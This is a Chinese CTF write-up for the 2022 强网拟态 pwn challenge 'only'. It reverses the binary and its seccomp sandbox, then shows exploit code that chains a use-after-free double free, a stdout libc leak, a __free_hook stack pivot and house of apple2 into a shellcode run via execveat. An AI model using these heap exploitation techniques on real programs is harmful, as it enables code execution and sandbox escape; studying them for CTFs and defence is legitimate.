首页 > 其他分享 >强网拟态-2022-pwn-only

强网拟态-2022-pwn-only

时间:2022-12-04 20:14:06浏览次数:40  
标签:__ libc 0x0 rdx free only IO pwn 强网

强网拟态-2022-pwn-only

总结

  • 该题的沙箱我们可以通过execveat绕过,但是注意execveat是个系统调用

  • 2.29以后存在一个key(bk)检查,不能直接double free

  • 可以通过已经申请一个存在的tcachebins尾往上一点的地址修改size和直接伪造double free

  • house of apple2 + 栈迁移的使用

  • 高版本__free_hook用不了setcontext时,如何栈迁移?

    mov rdx, qword ptr [rdi + 8];
    mov qword ptr [rsp], rax;
    call qword ptr [rdx + 0x20];
    
    mov rsp, rdx;
    ret
    

    注意rdx是关键!

  • house of botcake++(?)

逆向分析

glibc版本

$ ./libc.so.6          
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31.
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 9.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

GLIBC版本是2.31没啥特别的点需要强调,顺便一说GLIBC2.32有对齐检查和指针加密,处理起来有点麻烦

好吧,有需要强调的点,double free时不能直接double free了,要修改key啥的,或者house of botcake

关键函数

  • init函数

    unsigned __int64 sub_135D()
    {
      __int64 v1; // [rsp+0h] [rbp-10h]
      unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      setvbuf(stdin, 0LL, 2, 0LL);
      setvbuf(stdout, 0LL, 2, 0LL);
      signal(14, (__sighandler_t)((char *)sub_1328 + 1));
      alarm(0x3Cu);
      v1 = seccomp_init(0x7FFF0000LL);
      seccomp_rule_add(v1, 0LL, 59LL, 0LL);
      seccomp_load(v1);  //在这开启了沙盒
      return __readfsqword(0x28u) ^ v2;
    }
    

    可知,开启了沙盒,它可能会使程序中残留chunk,如下(详细占个坑)

    pwndbg> bin
    tcachebins
    0x20 [  7]: 0x5586c32cc8f0 —▸ 0x5586c32cca00 —▸ 0x5586c32cccb0 —▸ 0x5586c32cce30 —▸ 0x5586c32ccc90 —▸ 0x5586c32ccf40 —▸ 0x5586c32ccb10 ◂— 0x0
    0x50 [  1]: 0x5586c32ccf60 ◂— 0x0
    0x70 [  7]: 0x5586c32cc800 —▸ 0x5586c32ccba0 —▸ 0x5586c32cc910 —▸ 0x5586c32ccb30 —▸ 0x5586c32cccd0 —▸ 0x5586c32cce50 —▸ 0x5586c32cca20 ◂— 0x0
    0x80 [  5]: 0x5586c32cc870 —▸ 0x5586c32cc980 —▸ 0x5586c32ccc10 —▸ 0x5586c32ccec0 —▸ 0x5586c32cca90 ◂— 0x0
    0xd0 [  1]: 0x5586c32cc350 ◂— 0x0
    0xf0 [  2]: 0x5586c32ccd40 —▸ 0x5586c32cc6b0 ◂— 0x0
    fastbins
    0x20: 0x5586c32cc7d0 ◂— 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x0
    smallbins
    empty
    largebins
    empty
    
    
    

    ​ 沙盒规则如下

     line  CODE  JT   JF      K
    =================================
     0000: 0x20 0x00 0x00 0x00000004  A = arch
     0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007(这里规定了只能使用64位系统调用)
     0002: 0x20 0x00 0x00 0x00000000  A = sys_number
     0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
     0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
     0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
     0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0007: 0x06 0x00 0x00 0x00000000  return KILL
    
    
  • Increase函数

    unsigned __int64 sub_161C()
    {
      int size; // [rsp+4h] [rbp-Ch]
      unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      if ( !heap_num )
        exit(0);
      printf("Size:");
      size = read_line();
      if ( size <= 0 || size > 0xE7 )
      {
        puts("Error");
        exit(0);
      }
      heap_prt = malloc(size);
      if ( !heap_prt )
      {
        puts("Error");
        exit(0);
      }
      printf("Content:");
      raed_n(heap_prt, size);
      --heap_num;
      puts("Done!");
      return __readfsqword(0x28u) ^ v2;
    }
    

    逻辑很简单,输入size,然后往size里输入内容,其中heap_num的值是0xb

  • Initial函数

    unsigned __int64 sub_17B0()
    {
      int size; // [rsp+4h] [rbp-Ch]
      unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      if ( edit_flag == 0xDEADBEEF )
      {
        edit_flag = 0;
        size = 0x10;
        if ( !heap_prt )
        {
          printf("Size:");
          size = read_line();
          if ( size <= 0 || size > 231 )
          {
            puts("Error");
            exit(0);
          }
          heap_prt = malloc(size);
          if ( !heap_prt )
          {
            puts("Error");
            exit(0);
          }
        }
        memset(heap_prt, 0, size);
      }
      return __readfsqword(0x28u) ^ v2;
    }
    

    简单看看就知道逻辑是申请一个chunk,然后将里面全改成0

  • Decrease函数:

    unsigned __int64 sub_1734()
    {
      unsigned __int64 v1; // [rsp+8h] [rbp-8h]
    
      v1 = __readfsqword(0x28u);
      if ( !free_num )
        exit(0);
      free(heap_prt);
      --free_num;
      puts("Done!");
      return __readfsqword(0x28u) ^ v1;
    }
    

    存在uaf

总结

  • Increase与Initial函数可以申请任意大小的chunk
  • Initial函数只能使用1次
  • Increase函数可以使用0xb次
  • Decrease函数存在uaf漏洞
  • 程序逻辑都是对最新申请的chunk进行修改,要狠狠的考虑堆风水
  • 程序开始时有chunk残留

漏洞利用

前言

  • 首先考虑如何getflag,由于是GLIBC2.31,我们就可以考虑打hook,但是题目开了沙盒,我们不可能直接就system('/bin/sh')。此时注意一下沙盒规则,就会发现可以使用execveat('/bin/sh'),此时有以下思路

    • 修改freehook为execveat,然后free一个有/bin/sh的chunk(但free只有4次使用机会,得好好考虑...恩不包括最后一次,只有3次使用机会) (execveat是系统调用,我们没办法直接将free_hook改成execveat)

    • 利用以下gadget实现orw

      (1)
      mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 
      
      (2)
         0x7f5a85218046 <setcontext+294>:	mov    rcx,QWORD PTR [rdx+0xa8]
         0x7f5a8521804d <setcontext+301>:	push   rcx
         0x7f5a8521804e <setcontext+302>:	mov    rsi,QWORD PTR [rdx+0x70]
         0x7f5a85218052 <setcontext+306>:	mov    rdi,QWORD PTR [rdx+0x68]
         0x7f5a85218056 <setcontext+310>:	mov    rcx,QWORD PTR [rdx+0x98]
      pwndbg> 
         0x7f5a8521805d <setcontext+317>:	mov    r8,QWORD PTR [rdx+0x28]
         0x7f5a85218061 <setcontext+321>:	mov    r9,QWORD PTR [rdx+0x30]
         0x7f5a85218065 <setcontext+325>:	mov    rdx,QWORD PTR [rdx+0x88]
         0x7f5a8521806c <setcontext+332>:	xor    eax,eax
         0x7f5a8521806e <setcontext+334>:	ret     
      

      该思路由下面分析可知,不能使用,主要是因为我们无法控制chunk内0xa8的数据

    • 栈迁移然后mprotect + execveat_bin_sh_shellcode(我们选择该思路进行攻击)

    • [...]

过程

  • 利用残留的chunk,制作一个指向自己的tcache,即double free,如下

    #------------make a double free----------------------
        increace(0xe0)
        decreace() #time1
        initial()
        decreace() #time2
    #------------now we have a double free---------------
    
  • 然后利用uaf部分写(16分之1的概率),将一条尽可能长的tcachebins的尾结点-0x10写到我们uaf控制tcachebins里(尽可能长是为了可以多次申请利用)(前者我们简记为TA)

    #------------we use double free prt to malloc a full tcache list------------------
        #remote
        off1 = 0x47f0
        off2 = 0xd6a0
        #local
        off1 = (get_current_heapbase_addr() + 0x7f0)&0xffff
        off2 = (get_current_libcbase_addr() + 0x1ed6a0)&0xffff
        log_address_ex2(off1)
        log_address_ex2(off2)
        off1 &= 0xffff
        off2 &= 0xffff
        
        #部分写,16分1的概率改成以下链
        #0x70 [  7]: 0x561303b27800 —▸ 0x561303b27ba0 —▸ 0x561303b27910 —▸ 0x561303b27b30 —▸ 0x561303b27cd0 —▸ 0x561303b27e50 —▸ 0x561303b27a20 ◂— 0x0
        #这一步的目的是使double free可以多次使用malloc
        increace(0xe0, p16_ex(off1))
        
        increace(0xe0)
    
  • 申请我们uaf制造TA处的内存,完成伪造TA尾结点tcache的size和fd(fd为double free),从而制造出UB

    #------------------------------------------------------------------------
        #fake a big chunk,and fake a fd point to make double free
        increace(0xe0, flat(0, 0x761, p16(off1+0x10)))
        '''
        before:
        tele 0x55ce5431b7f0
        00:0000│  0x55ce5431b7f0 ◂— 0x0
        01:0008│  0x55ce5431b7f8 ◂— 0x71 /* 'q' */
        02:0010│  0x55ce5431b800 —▸ 0x55ce5431bba0 —▸ 0x55ce5431b910 —▸ 0x55ce5431bb30 —▸ 0x55ce5431bcd0 ◂— ...
        03:0018│  0x55ce5431b808 —▸ 0x55ce5431b010 ◂— 0x1000000000007
    
        after:
        pwndbg> tele 0x55ce5431b7f0
        00:0000│  0x55ce5431b7f0 ◂— 0x0
        01:0008│  0x55ce5431b7f8 ◂— 0x761
        02:0010│  0x55ce5431b800 ◂— 0x55ce5431b800  make a double free
        03:0018│  0x55ce5431b808 —▸ 0x55ce5431b010 ◂— 0x1000000000007
        '''
        #------------------------------------------------------------------------
    
  • 按照TA的size申请它对应的chunk(事实上我们申请的chunk的size是被我们改过的)

    #------------------------------------------------------------------------
        increace(0x60)
    #As a matter of fact, we malloc(0x750),
    
  • 将该chunk free了,得到UB

    decreace() #time3
    

    此时我们会发现TA中还有原来的尾结点,而它也存在UB中,而且TA中多出了main_arena+96,就像house of botcake一样,

  • 申请一个size不在tcachebins里的chunk,这样就会从UB中切割,他的fd残留了main_arena+96,而且也是TA的尾结点,爆破攻击_IO_2_1_stdout_泄露libc地址,修改前

    pwndbg> fp 0x7f628bfa26a0
    $1 = {
      file = {
        _flags = -72537977,
        _IO_read_ptr = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n",
        _IO_read_end = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n",
        _IO_read_base = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n",
        _IO_write_base = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n",
        _IO_write_ptr = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n",
        _IO_write_end = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n",
        _IO_buf_base = 0x7f628bfa2723 <_IO_2_1_stdout_+131> "\n",
        _IO_buf_end = 0x7f628bfa2724 <_IO_2_1_stdout_+132> "",
        _IO_save_base = 0x0,
        _IO_backup_base = 0x0,
        _IO_save_end = 0x0,
        _markers = 0x0,
        _chain = 0x7f628bfa1980 <_IO_2_1_stdin_>,
        _fileno = 1,
        _flags2 = 0,
        _old_offset = -1,
        _cur_column = 0,
        _vtable_offset = 0 '\000',
        _shortbuf = "\n",
        _lock = 0x7f628bfa37e0 <_IO_stdfile_1_lock>,
        _offset = -1,
        _codecvt = 0x0,
        _wide_data = 0x7f628bfa1880 <_IO_wide_data_1>,
        _freeres_list = 0x0,
        _freeres_buf = 0x0,
        __pad5 = 0,
        _mode = -1,
        _unused2 = '\000' <repeats 19 times>
      },
      vtable = 0x7f628bf9e4a0 <_IO_file_jumps>
    }
    
    

    ​ 修改后(在调用输出函数前看)

    fp 0x7fb9d9a6c6a0
    $1 = {
      file = {
        _flags = -72542073,
        _IO_read_ptr = 0x0,
        _IO_read_end = 0x0,
        _IO_read_base = 0x0,
        _IO_write_base = 0x7fb9d9a6c700 <_IO_2_1_stdout_+96> "",
        _IO_write_ptr = 0x7fb9d9a6c723 <_IO_2_1_stdout_+131> "\n",
        _IO_write_end = 0x7fb9d9a6c723 <_IO_2_1_stdout_+131> "\n",
        _IO_buf_base = 0x7fb9d9a6c723 <_IO_2_1_stdout_+131> "\n",
        _IO_buf_end = 0x7fb9d9a6c724 <_IO_2_1_stdout_+132> "",
        _IO_save_base = 0x0,
        _IO_backup_base = 0x0,
        _IO_save_end = 0x0,
        _markers = 0x0,
        _chain = 0x7fb9d9a6b980 <_IO_2_1_stdin_>,
        _fileno = 1,
        _flags2 = 0,
        _old_offset = -1,
        _cur_column = 0,
        _vtable_offset = 0 '\000',
        _shortbuf = "\n",
        _lock = 0x7fb9d9a6d7e0 <_IO_stdfile_1_lock>,
        _offset = -1,
        _codecvt = 0x0,
        _wide_data = 0x7fb9d9a6b880 <_IO_wide_data_1>,
        _freeres_list = 0x0,
        _freeres_buf = 0x0,
        __pad5 = 0,
        _mode = -1,
        _unused2 = '\000' <repeats 19 times>
      },
      vtable = 0x7fb9d9a684a0 <_IO_file_jumps>
    }
    
    
        #--------------------house of botcake------------------------------------
        #now, we make a big chunk into unsortedbin(house of botcake)
        
        #malloc one that didn't show up in tcache list size.
        increace(0x20, p16(off2))
        
        increace(0x60)
    
        increace(0x60, flat(0xfbad1887, 0, 0, 0, "\x00"))
        #------------------------------------------------------------------------
        lbaddr = recv_current_libc_addr(timeout=1)
        lb = 0
        lb = set_current_libc_base_and_log(lbaddr, 0x1ec980)
        lb = lbaddr-0x1ec980
        libc.address = lb
        log_address_ex2(lb)
        #-------------------now we leak libcbase---------------------------------
    
  • 此时我们有了libc地址就可以攻击free_hook

    通过切割UB,攻击tcachebins即可

    #-------------------attack free_hook-------------------------------------
        '''
        unsortedbin
        all: 0x55912c67b820 —▸ 0x7fb31ca11be0 (main_arena+96) ◂— 0x55912c67b820
    
        pwndbg> tele 0x55912c67b820
        00:0000│  0x55912c67b820 ◂— 0x1000100000000
        01:0008│  0x55912c67b828 ◂— 0x731
        02:0010│  0x55912c67b830 —▸ 0x7fb31ca11be0 (main_arena+96) —▸ 0x55912c67bfa0 ◂— 0x0
        03:0018│  0x55912c67b838 —▸ 0x7fb31ca11be0 (main_arena+96) —▸ 0x55912c67bfa0 ◂— 0x0
        04:0020│  0x55912c67b840 ◂— 0x0
        ↓     3 skipped
        pwndbg> 
        08:0040│  0x55912c67b860 ◂— 0x0
        09:0048│  0x55912c67b868 ◂— 0x81
        0a:0050│  0x55912c67b870 —▸ 0x55912c67b980 —▸ 0x55912c67bc10 —▸ 0x55912c67bec0 —▸ 0x55912c67ba90 ◂— ... attack this
        0b:0058│  0x55912c67b878 —▸ 0x55912c67b010 ◂— 0x1000000000007
        0c:0060│  0x55912c67b880 ◂— 0x0
    
        we find the offset 0x50 have a tcache list
        '''
        increace(0xe0, flat({
            0x40: libc.sym.__free_hook-0x10
        }))
        
        free_hook = libc.sym.__free_hook
        log_address_ex2(free_hook)
        increace(0x78)
        
        # 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 
        # 0x000000000005e650: mov rsp, rdx; ret;
        # 0x00000000000656e5: add rsp, 0x10; pop rbx; pop r12; pop r13; ret; 
        # 0x0000000000027529: pop rsi; ret;
        # 0x0000000000026b72: pop rdi; ret;
        # 0x000000000011c371: pop rdx; pop r12; ret; 
        # 0x000000000005aa48: leave; ret;
        # 0x00000000000256c0: pop rbp; ret;
    
        #now we will malloc free_hook,but the rdi is (__free_hook - 0x10)
        increace(0x78, flat({
            0x8: libc.sym.__free_hook-0x10+0x18, #减去0x10就是这个attack chunk的mem头
            0x10: libc.search(asm("mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]")).__next__(), #1
            0x38: libc.search(asm("mov rsp, rdx; ret")).__next__(),  #2
            0x18: [
                libc.search(asm("pop rdi; ret")).__next__(),
                libc.sym._IO_2_1_stderr_,
                libc.sym.gets,
                libc.sym.exit
            ]
            }))
        
        decreace() #time4s
    

    该exp利用了2个gadget实现了栈迁移,然后gets(IO_2_1_stderr)

  • 最后就是apple2 + 栈迁移了

        data = IO_FILE_plus_struct().house_of_apple2_stack_pivoting_when_exit(libc.sym._IO_2_1_stderr_,
                                                                            libc.sym._IO_wfile_jumps,
                                                                            libc.search(asm("leave; ret")).__next__(),
                                                                            libc.search(asm("pop rbp; ret")).__next__(),
                                                                            libc.sym._IO_2_1_stderr_ + 0xe0-8)
        sl(flat({
            0: data,
            0xe0: [
                libc.search(asm("pop rdi; ret")).__next__(),
                libc.sym._IO_2_1_stderr_ & ~0xfff,
                libc.search(asm("pop rsi; ret")).__next__(),
                0x1000,
                libc.search(asm("pop rdx; pop r12; ret")).__next__(),
                0x7,
                0x0,
                libc.sym.mprotect,
                libc.sym._IO_2_1_stderr_ + 0x130
            ],
            0x130: shellcode
        }))
    

细节

__free_hook栈迁移详解

(一)

image-20221204162556540

执行:

mov rdx, qword ptr [rdi + 8];
mov qword ptr [rsp], rax;
call qword ptr [rdx + 0x20]

rdi为chunk指针, 执行完该gadget后rdx为chunk + 8处的数据,rsp变成gadget自己的地址。然后跳转到[chunk+8]+0x28处

(二)

mov rsp, rdx;
ret

该gadget完成了栈迁移,将rsp = chunk + 8处的数据,从该数据代表的地址往下执行,我们在chunk + 8数据代表的地址处布置ROP链即可

(三)

pop rdi; ret

给gets函数布置参数,形成gets(_IO_2_1_stderr_)

house_of_apple2_stack_pivoting_when_exit详解

源码如下

def house_of_apple2_stack_pivoting_when_exit(self, standard_FILE_addr: int, _IO_wfile_jumps_addr: int, leave_ret_addr: int, pop_rbp_addr: int, fake_rbp_addr: int):
        """make sure standard_FILE_addr is one of address of _IO_2_1_stdin_/_IO_2_1_stdout_/_IO_2_1_stderr_. If not, content of standard_FILE_addr-0x30 and standard_FILE_addr-0x18 must be 0."""
        assert context.bits == 64, "only support amd64!"
        self.flags = 0 
        self._IO_read_ptr = pop_rbp_addr
        self._IO_read_end = fake_rbp_addr
        self._IO_read_base = leave_ret_addr
        self._IO_write_base = 0
        self._IO_write_ptr = 1
        self._mode = 0
        self._lock = standard_FILE_addr-0x10
        self.chain = leave_ret_addr
        self._codecvt = standard_FILE_addr
        self._wide_data = standard_FILE_addr - 0x48
        self.vtable = _IO_wfile_jumps_addr
        return self.__bytes__()

    house_of_apple2_stack_pivoting_when_do_IO_operation = house_of_apple2_stack_pivoting_when_exit

可以得到以下参数解释:

  • 参数1:一个标准的_IO_FILE_plus结构体地址
  • 参数2:_IO_wfile_jumps的地址
  • 参数3:leave_ret_addr
  • 参数4:pop_rbp_addr
  • 参数5:要迁移过去的地址+8(因为是通过leave;ret迁移)
data = IO_FILE_plus_struct().house_of_apple2_stack_pivoting_when_exit(libc.sym._IO_2_1_stderr_,
                                                                      libc.sym._IO_wfile_jumps,
                                                                      libc.search(asm("leave; ret")).__next__(),
                                                                      libc.search(asm("pop rbp; ret")).__next__(),
                                                                      libc.sym._IO_2_1_stderr_ + 0xe0-8)

就是栈迁移到libc.sym.IO_2_1_stderr + 0xe0,然后执行libc.sym.IO_2_1_stderr + 0xe0处的地址

标签:__,libc,0x0,rdx,free,only,IO,pwn,强网
From: https://www.cnblogs.com/7resp4ss/p/16950563.html

相关文章

  • pwn | jarvisoj_tell_me_something
    pwn|jarvisoj_tell_me_somethingx64栈溢出ret2text存在后门直接溢出跳过去就行了。唯一有点区别的就是这里面没有pushebp和popebp,所以只需要覆盖0x88就行了exp......
  • pwn | ciscn_2019_es_2
    pwn|ciscn_2019_es_2x86ret2text栈迁移这是我第一次做栈迁移的题目,浅浅记录一下思路关键的利用点在于利用leaveret的组合把esp搬到低地址的地方(也就是我们输入的地......
  • BUUCTF-PWN-前五页简单回顾
    学pwn到现在快三个月了,在BUU上做了前五页共160题,不能把刷过的题的技巧都给忘了,再做一遍还不是得心应手的题,同时堆题很灵活,要多总结才能举一反三。现在写下刚开始学的......
  • DASCTF NOV X联合出题人2022年度积分榜争夺赛PWN复现 部分wp
    签个到​居然是没开NX的,而且还有一个可写可执行的段​静态分析:进入get()我们可以看到循环中如果满足heap[i]+4LL与我们送入内容的前8字符相同,且送入内容+8地址内容......
  • Selenium中怎样解决输入框带有readonly属性或存在日历框问题
    1、js='document.getElementById("train_date").removeAttribute("readonly");driver.execute_script(js)2、pag=driver.find_element_by_xpath('//*[@id="pane......
  • BUUCTF-PWN-第五页writep(32题)
    花了十天把前四页共128题全部再做了一遍,加上一个是因为难度增加了,写得比较慢,另一个是期末周了时间比较少,所以拖了20天才发这篇题解pwnable_asm沙盒逃逸orw题fro......
  • DASCTF NOV X联合出题人-PWN
    太忙了,下午4点才开始做,,剩下的以后补上签个到逻辑很简单两个功能的堆,一个就是申请heap、还有一个是检验如果校验通过就会得到flag申请模块​中间0x886是个很恶心的东西......
  • python中value和only,以及exclude和defer的区别?
    一、value和only的区别rows=User.objects.values('id','username','age','re_password'),这里得到的是一个queryset,里面存放的是字典,  但是如果想要在查他的......
  • 路由器模式“11b only”是什么意思
    路由器模式“11bonly”是什么意思“路由器11b后面带“only”的就是只使用这一种速率;对比来说还一种带“MIXED”的是向下兼容的混合模式(兼容11g和11n)。” 更多>......
  • [Typescript] 119. Extreme - Get Readonly Keys
    Implementageneric GetReadonlyKeys<T> thatreturnsaunionofthereadonlykeysofanObject.ForexampleinterfaceTodo{readonlytitle:stringreado......